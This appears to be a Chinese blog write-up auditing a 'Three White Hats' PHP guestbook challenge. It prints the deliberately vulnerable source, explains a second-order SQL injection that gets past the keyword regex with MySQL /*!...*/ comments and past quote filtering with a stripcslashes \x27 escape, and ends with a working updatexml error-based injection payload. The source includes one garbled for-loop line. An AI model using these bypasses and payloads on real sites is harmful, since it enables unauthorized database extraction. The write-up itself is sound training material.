0x01前言
回顾了下以前的代码审计
三个白帽,很经典
现在估计都没有了吧。
0x02 分析
<?php include 'db.inc.php';foreach(array('_GET','_POST','_COOKIE') as $key){foreach($$key as $k => $v){if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}function filter($str){
$rstr = "";for($i=0;$i if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace('\'','',$rstr);return $rstr;
}if(!empty($message)){if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){die("hello,sangebaimao!");
}if(filter($message) !== $message){die("hello,sangebaimao!");
}
$sql="insert guestbook(`message`) value('$message');";
mysql_query($sql);
$sql = "select * from guestbook order by id limit 0,5;";
$result = mysql_query($sql);if($result){while($row = mysql_fetch_array($result)){
$id = $row['id'];
$message = $row['message'];echo "|$id|=>|$message|
";
}
}
$message = stripcslashes($message);
$sql = "delete from guestbook where id=$id or message ='$message';";if(!mysql_query($sql)){print(mysql_error());
$sql = "delete from guestbook where id=$id";
mysql_query($sql);
};
}?>
源码如题, 在我本地间的构造了一个数据库,然后就运行了。
不难看出,有两个过滤的地方,一个是filter函数,另外一个是正则绕过。这是对输入的绕过。
代码的逻辑也很简单,插入,显示,取出,删除。
我们插入的数据,进入第二次的查询,这就存在二次注入了。二次注入的逻辑也很简单,只要插入的数据经过过滤之后可以正常查询就好了。
然后就是回显的问题了,有一个
print(mysql_error());
那么就可以直接使用报错注入了
以上是对程序的简单分析。
0x03 绕过
关于单引号的绕过,这个地方比较特别,程序中有一个 message=stripcslashes(message);关于这个函数的作用可以简要要说明一下:
反引用一个使用 [addcslashes()](https://www.php.net/manual/zh/function.addcslashes.php) 转义的字符串
返回反转义后的字符串。可识别类似 C 语言的 *\n*,*\r*,... 八进制以及十六进制的描述。
stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'既然可以转义,直接让他来转义\x27 就可以使用单引号了。
关于正则的绕过
可以看出正则表达式中有
\b
先来看看\b的作用,\b的作用是匹配单词的边界。所谓的单词的边界就是特殊符号的边界。
绕过的思路就来了,假设我们想使用select 在select前后加点单词就可以了。
这里提一个mysql的tips
/*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释.
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.9-log |
+-----------+
1 row in set (0.00 sec)
mysql> select /*!50709version()*/;
+-----------+
| version() |
+-----------+
| 5.7.9-log |
+-----------+
1 row in set (0.00 sec)关于报错注入
UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换
这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据
payload
?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23